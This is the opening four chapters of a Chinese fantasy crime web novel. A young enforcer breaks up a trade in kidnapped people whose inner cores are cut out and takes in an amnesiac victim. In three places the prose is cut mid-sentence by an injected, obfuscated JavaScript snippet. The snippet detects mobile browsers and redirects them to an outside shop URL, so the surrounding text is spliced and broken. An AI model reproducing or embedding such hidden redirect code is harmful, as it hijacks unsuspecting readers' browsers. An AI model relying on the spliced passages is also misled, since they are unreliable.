《怀丹》 1. 丹奴(一) “前两个月的考核,各位表现良好。” 黑脸大汉左手扶着腰间佩刀的刀柄,右手叉腰,站在缉凶司院内冲着台阶下的一群年轻面庞大声宣布着考核结果。 “从明天开始,你们将成为正式的缉凶使,作为缉凶司的一员,希望大家不要懈怠,为维护修界安宁付出不懈努力!” 话毕时,偌大的院内还能听到几声回音,宁霄趁他回头跟人说话的间隙,揉了揉耳朵。 很快,队形发生了变化,新任缉凶使们鱼贯上前领取月俸,想到下月开始两倍高的月俸,不由得兴奋交谈着。 宁霄拿到自己的那份,在手里掂了掂,难得露出了一抹轻松的笑意。 五两白银,加上自己目前可以自由使用的积蓄,终于可以把租的房子买下来了。 - 从缉凶司离开的时候,天还亮着,晚霞已经紫红一片,借着高高的地势朝远处望去,早已是遍地灯火,人影攒动。 可惜,以宁霄的经济实力,只够住在这片灯火辉煌的边缘地带——那片暗淡低矮的鱼龙混杂的区域。 “先回去啦,明天见!” “明天见。”宁霄挥手送别了最后一个顺路的同僚,独自穿过热闹的街区,拐进了一处聚居街巷。 缉凶司离家有段距离,自己又没有灵兽坐骑,所以每次回家总是会从这里抄近路,即便这里已经鲜有人居住,基本上已经成了修界新的一处三不管地带。 就连最基础的缉凶司分署都懒得建在这附近,毕竟人烟稀少,划分辖区的时候,这一大片的住户都顶不上旁边半条街的人口。 不过宁霄从没怕过,尤其现在已经算是两只脚踏进了缉凶司,身上缉凶使的这层皮还没剥呢,要是哪个不长眼的敢来冲撞,那可就不是简简单单一个袭击的罪名了。 正当她暗自高兴之时,却隐约听到不远处一连串沉重急促的脚步声经过,虽然脚步沉重,但是那些人明显克制着自己的动作,若不是震动传来,恐怕她也很难发现那边的动静。 人数不少,还抬着重物…… 是什么人?什么物?又要到哪儿去呢? 宁霄的脚步忍不住放轻,原本笔直的路线不一会儿就歪进了旁边交错的小巷之中。 隔着街巷,她一路追踪,终于来到了那些脚步停歇的地方。 借着歪七扭八的巷子遮掩,宁霄看到了那群人,以及一口口及腰的遮着暗红布料的大箱子。 人群中传来蚊蝇般的低语,随即壮汉们又抬起箱子,步伐稳健地进入了旁边的院中。 宁霄借着他们脚步声的遮掩,徒手攀上了院墙斜角,从窄窄的细缝中向院内窥探。 只见五口箱子被依次抬进破旧的主屋,壮汉们随即鱼贯而出,在院中歇脚,为首那人披着深褐色斗篷,跟两个佩剑之人吩咐几句后,便进了主屋,佩剑之人则守在了门口,观察着四周的动静。 这样的阵仗,让人很难不怀疑是在犯罪,可是箱子里的东西是什么还未可知,若是自己想多了还能打个哈哈混过去,万一真是什么要命的宝贝,自己势单力薄,落得个失踪惨死可就糟了。 虽说缉凶使的身份在修界还算好使,可耐不住修界“能人辈出”,因为“多管闲事”而死的缉凶使可也不胜枚举。 想到这儿,宁霄还是决定再等等。 思索间,便有一串孤零零的脚步声走入了她的耳中。 一位矮个儿腰粗的圆球儿小心翼翼步入巷中,垫着脚一步三回头地找到了这个院落,跟门口的两个守卫点头哈腰几句后,又垫着脚艰难从半开的门口走了进来。 刚看到前面的斗篷男,便立刻摘了面巾喜笑颜开,又点头哈腰地进了房中。 屋中很快亮起一点火光,蚊蝇细语传出,宁霄努力分辨了半天都没听出他们到底在聊些什么,不由得有些着急。 好在院中的大汉们看起来都不会术法,于是她立刻从腰间的皮革小囊中摸出了一粒豌豆似的黑色小球,贴在自己面前的瓦片上,随即一吹气,那东西就如同植物一般生出了细细的枝条,随着宁霄的口令沿着院墙一路进入了主屋之中。 低语立刻从面前的小粒中传出,宁霄偏头靠近,便听到主屋里的两个人正在讨价还价。 “这批货可都是正当时的,少说还能剖个三五次,质量你不用担心。” “诶是是是,自不会假自不会假,但是……三十五万两是不是有点太……啊哈哈没有说您货不好的意思,可是当初不是说五个二十五万两嘛……这是不是有点……” 一阵干枯的笑声传来,随即便是布料被掀动的声音和手掌拍击东西的声音。 只听那卖家强硬道:“我们卖的从来都是最好的,知道你担心,我特意带了个刚成熟的蚌来。” 话音刚落,便听得一阵低低的呻吟声混着粗气传来,宁霄的心登时一沉。 不需要特意分辨,她就知道那一定是人的声音,只不过被封住了嘴,声音才显得如此低沉。 这样看来,那些箱子里装着的恐怕不是别的,全是活生生的人! 她立刻摸出两张传讯符,低声言语道:“城南三不管,有人诱拐掠卖。”符纸燃烧时不见火光,并没有引起院中人的注意。 宁霄不敢轻举妄动,只能继续监听这场交易的进展。 “您瞧,这内丹的成色,绝对没有问题。” “诶是是是,上等货色,上等货色,诶可是……” 不等那买家继续说话,便听到布料被人猛地一扯,斗篷男冷哼一声,道:“哼,您算是问到点子上了。” “之所以单独加了十五万两,就是因为他。” “诶这,有什么特别之处?” “我跟你交个底,这个,”斗篷男压低了声音,“可是最值钱的东西,他的内丹,可比五个熟蚌加起来还要贵!。” 只听那胖子倒抽了一口凉气,磕磕巴巴话都说不清了。 “要不是因为他太显眼,急着脱手,又怎么会让您捡了这便宜呢,放心,只剖了一次,成色绝对没问题。” “这这,他难道不是人?这么金贵的东西我怎么好意思……” “嘘!” 斗篷男嘘声之后停顿了一会儿,宁霄差点都怀疑自己已经暴露了,手心都出了不少汗,好在聆音豆中又有声音传出。 “杨掌柜若是满意,我便着人立刻给你送去,金不金贵您一试便知,若是买回家了觉得不值,我这绝对许您退货。此地不宜久留,还请一手交钱一手交货。” “交交交,嘿嘿,幸好我带了余钱。” 没一会儿,主屋的门就开了,斗篷男下巴一抬,那些力夫就心领神会,立刻去抬东西了。 宁霄见状都急了,收起聆音豆后焦急等待着支援的到来,为了防止缉凶司的人来得慢,她还特地送了一张传讯符去最近的辖区分署。 不成想这里的交易这么快就要结束了,到时候买卖双方分道扬镳,自己可怎么分身去追啊? 那买家也就算了,一行人那么显眼,估计也走不了多远,可是卖家明显有备而来,从他们的谈话中也能得知,这样的交易进行过不止一次,想必他手下藏着不少失踪人口,一旦撤离可就损失大发了。 “啧,人都死哪儿去了,全都迷路了不成?!” 宁霄低声咒骂着,趴在在暗处一动不能动,可院中的人已经开始挥别了。 甚至不等那些力夫们抬着箱子走出院门,斗篷男已经吩咐那两个护卫道:“你们两个跟着,确保货物安全送达,避着点人,遇到盘查就用障眼法混过去,我得先回去了。” 眼见那斗篷男理了理兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想必这个就是那卖家口中多加了十多万两的金贵货物了。 她做了个燃火的手决,然而那符纸却纹丝不动。 “奇怪……”她凑近细细看了看,没有看出符文的内容,但是大概也能猜出是一张禁锢符。 思忖片刻后,她果断换了一种破符的方式。 “牲,火,破。”宁霄手决变换,最后朝那红符一指,符箓瞬间燃烧成了灰烬。 她抽刀斩开铁锁,箱门顺势朝外弹开了大半,却没有听到里面有人挣扎的声音,唯有短促的呼吸声传出。 难不成被吓傻了? 宁霄这么想着,掏出了一个火折子点燃,缓缓靠近了黑洞洞的箱门。 只见里面蜷缩着一个人,姿势扭曲着,不知道是坐还是跪,身体倚靠在箱子一侧,似乎已经体力不支了。 斑斑血迹洒落在他的衣服上和裸露的皮肤上,实在惊心。 火折子往上移动,照亮了此人的脸,带着血迹的苍白面庞被火焰染上了一层暖色,右耳的耳垂下,一粒血滴般的细小耳坠正微微晃动着,闪着细小的光。 陈旧发暗的红色布条遮着他的眼睛,以至于对不断靠近的火焰与宁霄的手都无动于衷。 宁霄伸出另一只手,想要将那布条摘下,可在触碰的瞬间,红布上的暗纹忽地发亮,竟让她的指尖产生了一阵针扎似的痛感,连带那人也猛地瑟缩了一下。 他并没有哭喊,只是呼吸声急促起来,整个人惊惶地颤抖着。 宁霄神色肃穆,她看清了布条上的符文,当即将火折子搁在地上,随即两手掐诀变换,嘴里配合着冗长的咒语。 咒语一毕,她两手掐诀直指黑暗中的人。 微弱的火光中,符文一闪,随即布条便脱落了下来。 她刚举起火折子,便见一双眼睛正清醒地看着她,一瞬不瞬,在微光中闪闪发亮。 “没事了,你安全了。” 说着,她将手伸了进去,手心向上,毫无戒备。 如此等待了一会儿后,里面的人终于动了,微凉的触感轻轻落在她掌心,手指一拢,便感觉瘦得让人心疼。 2. 丹奴(二) 箱中的人想要借力调整一下姿势,可他的体力已经耗尽,最后只能是靠着宁霄的搀扶从箱中爬了出来。 他的里衣已经脏污,甚至还破了洞,露出的皮肤不是沾着血就是蹭了灰,即便白皙,也透着一种死气沉沉的疲惫感来,恐怕是很久没吃饱饭了。 他瞪大眼睛看着四周,其他人声音动作稍微大一点,他的眼皮就跟着忽闪。 就连宁霄松开他的手时,他也像是吓了一跳,手还下意识追着找,然而扭头撞上宁霄的目光,才回了神,有些局促地收回了手。 “怎么样?自己能走吗?” “啊……对不起。”他眨了眨眼,不再观察周围的情况,低着头,两只手互相攥着。 “嗯?”宁霄见状了悟,解释道:“哦,没有怪你的意思,如果你走不动,一会儿可以坐缉凶司的坐骑回去。” “我没事!” 他摇着头,随即在宁霄面前来回踱了几步,呆愣愣的样子在这样的环境下显得过于可怜了。 “好了好了,”宁霄拉住他,“一会儿跟我们回去接受调查,有什么需要随时提。” 说罢,她转头从被制服的护卫脚上拽了双鞋子丢到了他的脚边,“先凑合一下吧。” 宁霄的确没工夫照顾他,同僚们围着涉案人和被害人正忙活,商量着通缉卖家和一会儿审理案件的事情。 旁边的涉案者已经被捆了手脚,用绳子串成了一条龙,买家哭哭嚷嚷连喊冤枉,护卫则被揍得满嘴血,也不担心会半路上自尽了,反倒是力夫们十分淡然,好似对这样的局面非常熟稔。 而受害人中有一个人已经昏厥,宁霄见状急忙跑过去查看情况,一探鼻息发现此人已是气若游丝。 她立刻来到哀嚎的买家面前,踹了踹他,“那个人不是把他内丹剖出来了吗?内丹呢?” “诶呦这这这,”杨茂全努力挺起肚子指示着,“这个黑色袋子里。冤枉啊大人,我以为是正常买卖呢……” 宁霄将袋子扯下来,瞪了他一眼,杨茂全便不吭声了。 大约是生剖的缘故,拇指关节大小的内丹上还挂着经络肉丝,血水浸泡过的手感有些滑腻,干涸的部分又很涩手。 虽说见血的案子也没少见了,可是宁霄还是第一次见内丹被人生挖出来的情况,和同僚们叽喳半天,都很茫然,只好暂且把内丹冲洗一下塞回了昏厥者的伤口,着人快马加鞭送去救治了。 不一会儿,交易现场就被封锁了起来。 本辖区分署的缉凶使们要回去发布悬赏和通缉令,总司这边的缉凶使则带着罪犯和人证物证们回到了缉凶司。 - 面对突发事件,司里的老资历们已经是见怪不怪了,一边吃着饭一边做着事,僵硬如面具的表情说不清是得心应手的淡然还是死气沉沉的遗容。 相比起来,年轻的同僚就显得过于兴奋了。 站在前厅都能听到问事处那边传来的喊叫声,除了受讯人的哀嚎尖叫,还有缉凶使们的呵斥怒吼声。 因为是第一报案人,宁霄在前厅一五一十把事情经过和案件细节记录在册,时不时就有问事处的同僚把她叫过去验证嫌犯证词。 那买家杨茂全说两句真话就要糊弄一番,把和宁霄同一批入职的同僚陈平轩气得直跳脚,连嗓子都吼哑了。 “行了行了,你先歇会儿。”宁霄终于把事情交代完了,赶紧来接替暴跳如雷的同僚。 “杨茂全是吧,”她低头看了看供词,“不管你知不知道剖丹和买卖人口犯法,你都得去蹲地牢,这件事没得商量。” “不是,不是说法不责众吗大人?我是真的一无所知啊!全是他们介绍说可以买那玩意儿,我肯定是被陷害的啊!” 宁霄定定看着他,没有因为他的狡辩生气,反而翻开问询记录,拾起笔写了起来。 “行,被陷害。谁陷害你的?谁给你牵线搭桥的?谁给你介绍货源的,谁介绍你和卖家认识的?” 杨茂全张嘴刚要哀嚎,宁霄立刻大声盖过了他的声势,“你的话全都记录在案,如实招来!否则咱们就去刑房聊聊,我们有的是人陪你聊,有的是功夫让你聊!” “呃,呃我说,那个……我要是说了能坐好一点的地牢吗?” “地牢的待遇我说了不算,但我知道,包庇罪犯增加刑期,坦白同伙减少刑期。” 闻言,杨茂全努力往前倾身,问道:“啊,那万一我交代了,你们抓不住他怎么办?难道就我一个人坐牢吗?” 宁霄沉默了,搁下纸笔,抱臂往后一靠,淡淡道:“坐这里说不出话是吧?没事儿。” “走吧,刑房。”说着她就站起身来,朝杨茂全走去。 只听得一阵杀猪声在问事处内外盘旋,她一把提住杨茂全的衣领,将他从椅子上揪了起来。 “没事儿,你肯定没去过,我带你开开眼。” “啊啊啊啊啊大人大人!!我说!!!啊啊啊啊不要啊!!!我不认识他啊!!我只知道他叫袁四啊!冤枉啊!!都是别人牵线搭桥,每次都是袁四准备见面的时间和地方啊!!” 任凭杨茂全怎么挣扎,宁霄都不为所动地拎着他要往外走。 奈何杨茂全此人虽然被五花大绑,但依然灵活,靠着圆滚的身材脱离了她的掌控,滚在了地上后都知道往问事处靠里的地方滚,嘴里还不停哀嚎着,吸引了不少路过的缉凶使探头探脑。 “呜呜呜呜我全招了,我不要去啊救命啊!缉凶司动用私刑了啊!哇啊啊啊啊……” 动用私刑的指控马上吸引了同僚来制止,宁霄摊开双手,和地上翻滚着的杨茂全拉开了距离。 “我没有,陈平轩可以作证,全是他诬告,不信可以请神目来查。” 当晚值守的组长也被吸引了过来,蹙着眉头睡眼惺忪地警告道:“动静小点儿。”说罢头也不回地走了。 漫长的黑夜就在这混乱之中度过,让本就表情不多的宁霄都有了司里老人儿的死水面相。 等到审讯结束,天都快亮了,杨茂全在签字画押后被带去了班房。 宁霄走出问事处,伸了伸懒腰,经过前厅时,便看到三个受害人凑在一起互相倚靠着,正止不住地点头打着瞌睡。 “不带他们去班房休息吗?”宁霄坐到当值处边上,跟同僚随口聊了起来。 “估计是害怕,据他们说,之前关押他们的地方还有很多丹奴被困呢。不过他们的消息已经分散到辖区分署去了,估计家人很快就来了。”说着,同僚又指了指前厅另一面,“除了那边那个。” 宁霄顺着她所指的方向看去,只见在靠墙的座椅上,自己亲自救出来的那个受害人正安静坐着,也不说话,看起来也不困倦,只是有些好奇地四处张望着。 察觉到她的注视时,才定定神笑了一下。 宁霄点头示意,又回头小声问道:“他怎么了?” “他说他不记得了。” “不记得?吓傻了?” “不清楚,问询的时候其他人都或多或少给了点有用的信息,就他一个不记得了。” 闻言,宁霄又回头看了他一眼,不巧又遇上了他的目光,只得再次点头示意回应他的微笑,随即扭过头来,声音压得更低了。 “会不会是被关押的时候封了五感啊?” 同僚也跟着压低了声音,“不是啊,他都不记得自己为什么被关,什么时候被关。” “啧,可惜了。”宁霄发自内心地感慨道。 好歹也是个特殊受害者,结果什么都不记得了,简直是破案的一大损失。 “诶,宁霄,他还在看这边诶。” 宁霄下意识回头,再次对上了这位失忆受害人的目光,几经纠结,觉得一直看人家实在是不太好,于是径直朝他走了过去。 缉凶司的灯火跟不要钱似的,比昨晚的火折子亮多了,看人也清楚多了。 只见那人擦干净了脸蛋,皮肤和五官在灯火照耀下宛若玉雕,每个边角和平面都好似精心磋磨过的,虽然两颊微陷,却依旧难掩光彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“组长说了,从今晚开始不许他在前厅休息了,这怎么整?他又不去别的地儿休息,也没人来领他走。” “要不,让他去救济堂?或者去那个叫什么来着,竹林小庐?” …… 大家叽叽喳喳半天后才去跟阿远解释这件事,宁霄已然是放弃了,站在原地擦刀,耳朵却一直竖着,听他们讲话。 然而阿远只是沉默着摇头,一一拒绝了他们的提议,最后站起身来,收拾起他为数不多的东西。 “诶诶,你要去哪儿?万一之后案子需要你……”陈平轩一把拉住他,不准他走。 身旁一个姑娘立刻怒目而视给了他一拳,旋即笑着解释道:“你别听他说的,我们主要也是担心你的安全,医师不是说你的内丹被剖了嘛,身体还很虚弱,现在你又不记得家在何处,万一出了什么意外可如何是好,案子还没结束,坏人也没抓住,你可不能出事。” 说罢,她还朝周围人使劲使着眼色,然而大家都没有什么好办法,一个帮腔的都没有,罗靖气得直闭眼。 忽然,在旁一直默不作声的小胖子举起了手:“诶!要不谁把他先领回家暂住呢?陈平轩?” “不不不,我那儿可不行,本来房子就小,床更小,难不成晚上我跟他搂一块儿睡?!罗靖!” “喂!”被点名的罗靖眼睛瞪得溜圆,“你故意的吧?!我要是敢领男的回去,我爹娘明天就得让我拜堂!你真是用心险恶!呸!你怎么不说阿筱?” “我这不是怕阿筱半夜无聊把他给拆了吗?而且……男女授受不亲诶!” “噢,我就能亲是吧?!” …… 那边叽叽喳喳嚷了半天后,突然静了下来。 宁霄顿了顿,只觉得脑后一凉,随即做贼似的缓缓扭头看向了那边。 3. 丹奴(三) 只见那群人齐刷刷盯着自己,被包围在中间的阿远则在与她对视的瞬间扬起了微笑。 “是嘛,本来就是宁霄救的他,他肯定选宁霄咯~” “我觉得合适,小霄那院子挺大的,比我那儿强不少。” …… 大家七嘴八舌说着宁霄多么适合收留阿远,没有一个人来征求她的意见。 宁霄将刀插回鞘中,刚要说些什么,一道悠长的钟声响起,不等钟响第二声,缉凶使们就已经跑没影儿了。 如果把人丢这儿的话,好像也没什么可指摘的,毕竟又不是她让人整日待在这里影响大家的。 可是一对上他的视线,宁霄就不好意思说那些重话了。 他的嘴巴张合几次,声音却被钟声碾碎,在持续不停的钟声里,他的眼神逐渐乱飘,头也越埋越低了。 等到散值的钟声结束,他才喃喃道:“我是不是……给大人添麻烦了。” 然而宁霄并没有回答,只是叹了口气,大步向前,在经过他时,语气不容质疑道:“走吧。” - 缉凶司地处修界中心偏北的位置,距离繁荣热闹的街区非常近,每次放值都能感受到修界独有的烟火气。 她带着阿远穿过人群与灯海,他一路上都在观察周围的一切,嘴巴微张都没闭上过。 为了防止失散,宁霄只得拉着他的手腕慢慢走,好让他有足够的时间可以将这里的东西收入眼底。 其实,即便是在修界生活了近二十年的宁霄,也没法打包票说这里的一切她都已经完全熟悉。 在修界,人、妖、兽都共处于一个空间,大家共享这片土地,互相接纳忍受,然而生活习惯和思想观念上的巨大的差异,让冲突和误解都在所难免。 即便仙人为此制定了专属的律法和公共的管理部门,也难以消弭其中的沟壑。 宁霄对此感触颇深,小的时候跟着师傅走南闯北,靠一个术士摊子养活,后来师傅走了,她又支着摊子养活自己。那时候来光顾的客人们大多都是修界的底层,什么破败的样子和糟烂的事情她都见过了。 可如今进了缉凶司,要直面的冲突就更多更深了,对比起来,以前的见闻简直是小巫见大巫了。 过去的两个月里她已经时常感到疲惫和喘不过气了,想必以后只会更盛。 然而她不可能放弃,她得养活自己,缉凶司已经是她能够到的最好的选择了。 忽然一个踉跄,宁霄猛地回过神来,一抬眼,发现自己已经无意识地来到了昨天抓捕罪犯的街巷。 回头一瞧,阿远定在原地不肯往前,这才让走神的她被自己拽得停下了脚步。 没有多说什么,宁霄心领神会地带着他绕路从人多的街巷回家,半路上顺带把晚饭也给解决了,免得回家再多费时间。 终于,四周的灯火逐渐暗淡,歌声曲子在身后飘远,路过的行人与妖的穿着打扮也同破旧的建筑般灰暗了不少。 阿远依旧是东张西望,怎么都看不够,路过一个化形不太完全的妖时,竟直勾勾盯着人家看,差点把那妖看毛了要来比划比划。 幸好宁霄及时把他扯了过来,才免了一场冲突。 从街头走到街尾,周围的建筑和人口越来越稀疏,最后,她终于在一座院子前停下了脚步。 “喏,到了。” 她冲着褪色的矮小院门做了个简单的手势后,才上前去开门。 “小伙子好面生啊。”一个苍老而温和的声音从侧面传来。 阿远应声看向右边,只见隔壁院子门外,一个老头坐在躺椅上,正端着茶壶冲他打招呼呢。 不等他回应,宁霄一个跨步就站到了他面前,冲那老头寒暄道:“崔叔,这么晚了还不回去啊?” “呵呵,睡着了,刚才才醒,是得回去了。”老头乐呵呵地说着,就着茶壶嘴猛喝了一口,接着起身准备收拾回家了。 宁霄抓着他手腕把他拽进了院门,门一关,便警告道:“他是个老妖怪,没事儿别随便搭话。” “诶!”隔壁忽然传来了声音,“我可都听到啦!” 宁霄也扯着嗓子还击道:“就是说给你听的!” 说罢,她又转头按住了阿远,吩咐道:“你在这边先站一下。” 随后便见她左手按刀,踏入院中,依次进入了院中的主屋和厢房查看,最后才在二楼的窗口出现,招手道:“进来吧。” 这间院子很大,连带堂屋一共分了八个房间。 之所以会租下这一整个院子而非其中一个房间,一方面是宁霄不喜欢被人打扰,另一方面则是因为此地实在是偏僻,租银不低一点都租不出去。 “你自己看看想住哪间,哦,那间是放杂物的,旁边是厨房,二楼……我不太习惯跟人住太近,其他都随你挑。” 阿远点点头,按照宁霄的指示把空房都看了看,最后挑了院中西面的厢房。 “你确定?就这间?” “嗯!谢谢你。”阿远笑得很开心。 见状,宁霄虽然不解,但也不好多说什么了,只是在帮他收拾屋子的时候又默默多搬了一床被子来。 “对了,阿,嗯……阿远。把你这身缉凶使的老制衣换了吧,我这有几件你可以穿的衣服,我没穿过几次,大小可以自己调整,有束带,我去给你拿。” 才走出几步,门口就响起了敲门声。 “小霄回来了吗?”这是个中年女人的声音。 宁霄立刻便认出了来人,正是这个院子的房主田姨。 她快步过去开了门,“田姨,正要找您呢,钱我已经备好了。” “诶呀,我来也是找你说这事的。我马上要去闺女那住了,之后恐怕不回来了,我还想着你要是钱不够的话可以先赊着。” “那今天可以画押吗?” “当然,房契我都带来了。”田姨乐呵呵从包里翻找着,宁霄也立刻上二楼去拿钱了。 田姨将房契攥在手里,忽然瞥见阿远,寒暄道:“咦?你是……是小霄朋友吗?” “唔……嗯。”阿远认真点头应下了。 “诶呀,小霄可真是青年才俊,三年前第一次来找我租院子的时候钱都是赊的呢,那时候我看她可怜,想匀一间屋子让她暂住,没想到她几天后就把租银补齐了,现在又成了缉凶使,诶呀,真是威风!” 说罢,田姨上下打量了他一眼,“诶呀,看你的打扮,你也是缉凶使吧?在里面做什么的?后勤吗?” 阿远摇摇头,扯着衣角没有讲话。 “诶呀,瞧你这么俊,可有婚配?”田姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999278|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住凑近问道。 阿远又是摇头。 “是吗?诶呀,那真是好……” 田姨两手一拍,拉着阿远正要说话,不巧宁霄刚好下楼来,左手抱着一叠衣服,右手拎着一袋子钱串和银两,将衣服交给阿远后,扣着田姨的肩膀就给拐去堂屋签字画押了。 不一会儿,院子的主人就正式更名,成了宁霄的所有物。 送走田姨时,天色已晚,院中四角的琉璃灯内火光正盛,亮得发白,已经自动燃烧了许久。 宁霄站在门口,手抚木门,还保持着关门时的动作,等到田姨的脚步隐去,她才长舒了一口气出来。 多年来的漂泊感仿佛瞬间消失了大半,脚下也像是生了根,许久没有迈出一步。 “宁霄,田姨她……也是妖怪吗?” 宁霄被这话逗笑了,转过身来摇了摇头,“她不是,她只是想给你牵红线,我刚才拉开她只是想快点把房契拿到手。” “好了,时间不早了,你早点休息吧。”她说罢便要回屋。 “宁霄,你还有多余的蜡烛吗?” “你怕黑?”宁霄停下脚步看他,脑海中忽然有灵光闪过,“所以……你一直待在缉凶司的前厅,是因为每晚都有人值宿,陪着你,所以才不愿意去别的地方休息?” 阿远的眼睛闪了闪,咬着嘴唇重重点了下头。 或许是因为买房的事尘埃落定,宁霄心情不错,于是甩下一句“等着。”就匆忙上楼了。 不一会儿,她便捧着个手掌大小的发着柔光的圆球下来了。 “这个给你用,越是黑的地方越亮,蜡烛燃尽屋子里也不会黑了。” “这是……”阿远双手接过捧在手心里,歪着头仔细观察着。 “应该是夜明珠吧,好久之前拿回来的,我也没怎么用过。” “可……”阿远有些茫然地看了看四周破旧的院落。 “怎么了?你拿着用便是。” “哦,没有,”阿远摇摇头,笑着接受了,“谢谢你。” - 昨夜因为阿远的事情,宁霄本就一夜没睡,几乎是沾着枕头就睡着了。 然而夜半三更,还是被打更的声音吵醒了。 偏头一望,半开的窗口正好框住了月亮。 月色冷冷清清,月亮的颜色也惨淡,了无生机。 望着望着,她居然越看越清醒,干脆下床到窗边去看,余光一扫,阿远的房间也还透着淡淡光亮。 低头细看,只见窗户中印出了他的影子,正在那屋子里走来走去。 忽然,他脚步一顿,转而去打开了窗户,宁霄下意识就躲在了窗扇之后。 顺着窗扇与窗框间形成的罅隙,她偷偷观察着阿远,只见他站在窗前,仰头看着月亮,一动不动。 惨淡的月色照在他的身上,让他的身形显得愈发单薄,精雕细琢的面容此时果真成了玉色,连带着他整个人都带了薄胎欲裂似的质感。 直到他退回屋中时,宁霄才发现自己刚才一直在压抑着呼吸,好似自己一个呼气就能将那望月之人蹭出裂纹似的。 宁霄自嘲地笑笑,只觉得自己莫名其妙。 然而此时再躺回床上,已是睡意全无,只好目送那月亮缓缓地离开了自己的窗口。 4. 丹奴(四) 一望望到大天亮,总算是听到了鸟叫声,宁霄立刻从床上弹起,利索起床了。 考虑到阿远还要在院子里待一整天,宁霄决定给他解决一下吃饭问题。 虽说这间院子所在的区域并不繁华,但周围该有的东西还是一应俱全。 路过厢房时,见阿远正在整理厢房内的东西,宁霄便靠近敲了敲半开的窗扇,“起这么早?不困吗?” 阿远应声回头,笑了,比在缉凶司时笑得更舒展些。 “我昨晚没睡着,还不困。” “哦,想吃什么?我给你带回来。” “谢谢你,我不挑食。” “行。” 说罢宁霄立刻出门去了。 虽说收留阿远并不遂她的意,但看到他这么好相处,还是让宁霄有些心软了。 把足够两天吃的东西带回来后,她就马不停蹄收拾东西准备去缉凶司了,临走前还不忘嘱咐阿远。 “外面有些危险,不要出门,就算有人来找也不要出去。你现在毕竟失去了记忆,连身份都给不出,万一出事没人救得了你。不过你放心,院子设了术法门禁,只要你不出去,一般情况下也没人能闯得进来。” 阿远乖巧地点了点头,没有任何反驳和疑问。 见状,宁霄也放心不少,但还是从腰间的皮革袋子里摸出了一张符递给了他。 “如果有什么意外,把符纸放火上烧了,我会知道。” “嗯!” 阿远双手接过符纸,小心收进衣襟里,还隔着衣服用手拍了拍。 安顿妥当后,宁霄便出门上值去了。 - 作为新一批正式缉凶使,宁霄和自己的同期还没有被分配组别,只能充当司里的万用小卒,谁都能来吆喝几句。 事情干了不少,接触到的任务层次却低得很。 到了吃饭时间,大家才有空聚在一起正经说几句话。 “天呐,你们是不知道,我从今早来就一直在马棚给那群踏影洗澡刷毛,直到现在!”陈平轩一边控诉一边大口扒饭。 罗靖忽然指着他胸口,惊呼道:“诶呀!踏影的毛,都沾你碗上了!” 然而陈平轩吃饭的动作根本不停,埋着头嘟囔道:“有毛算什么,我洗那么干净,我还怕吃毛?你们是不知道,那群踏影长得跟普通马差不多,结果高那么多!脾气还大!唔唔,我受不了了……” “你就知足吧!”罗靖用筷子戳着碗里的饭菜,整个脸都要皱起来了,“我今天在前院记录报案信息,这些人什么都来报,鸡掉沟里了的,菜被人撒了尿的,饭馆饭菜不好吃说店家投毒的……” “还有一个人,说邻居暴力强占了他的房子,结果我问了半天才发现!那房子是他前东家的,东家把房子留给了孩子,现在报案人找孩子要分房子!”说罢罗靖撂下筷子,双手抱头用几不可闻的气声大叫起来。 一旁的同僚听得津津有味,好奇问道:“他怎么不去找辖区分署啊?” 罗靖停止无声嘶吼,捡起筷子忽然面色恍惚道:“他说分署不给他解决,就找来这了。” “哈哈哈哈哈哈那你最后怎么把这尊大神送走的?” 罗靖闻言长叹一口气,一手捂着额头,支着脑袋,语气淡然:“我让他去隔壁泉政司了。这样的人不能只有我们缉凶司遇见。” “诶,宁霄你呢?今天派你去干什么了?” 宁霄咽下嘴里的食物,语气平静道:“在后山属地挖灵石。” 她握筷子的手还有些微微颤抖,本以为靠自己的身体素质,加上术法配合应该可以很顺利,但没想到兜里的符纸都用完了,才把灵石矿坑炸开个土皮,前辈施法到了最后也已经灵力不支,最后碎矿和搬运都是靠纯人力完成的,甚至她吃完饭后还得去接着干。 大家叽叽喳喳倒完苦水,转头希冀起了分组的事儿。 陈平轩吃完了,拍着肚子伸出手要发言:“我问过了,接下来的一段时间我们都要听从组长们的调配,组长要是满意谁就会主动吸纳到组内,两个月后司里会把剩下的人分配到各组去,而且!” 他打了个饱嗝,继续道:“而且有突出表现的还有机会直接成为组长!” 罗靖双手交握,“我要是帮今天那人要到房子算突出表现吗?”语气非常虔诚。 “算同伙吧?”宁霄一边收拾自己的餐具一边认真道。 说罢她站起身来,准备把碗筷送去清洗,却忽然被人给叫住了。 应声望去,竟是白天要她去挖灵石的吴组长,他隔了老远冲宁霄招了招手,中气十足道:“吃完饭到六房议事!你不用去挖灵石了!” 宁霄还有些不明所以,饭桌上的几人倒先激动了起来。 “你当了组长可不要忘记我啊!带我走吧!”罗靖扒拉着宁霄的衣服,一副弱不禁风的模样。 陈平轩倒是神色平静,“我已经不抱希望了,万一是商量去哪儿搬运尸体呢。”说着便端着碗筷浑浑噩噩飘走了。 大家纷纷散去,宁霄也不敢多耽搁,脚步匆匆顺着前厅两侧的廊道来到了六队的公务处。 一进门,就见侧面厢房的大桌旁坐满了人,其他人也围在周围或站或靠,对着各自手里的东西愁眉紧锁,时不时还三三两两交谈几句,更有甚者正望着房梁发呆。 坐在正首的女人宁霄见过几次,据说是六队的队长秦荣,此时正在听身旁的人说话。 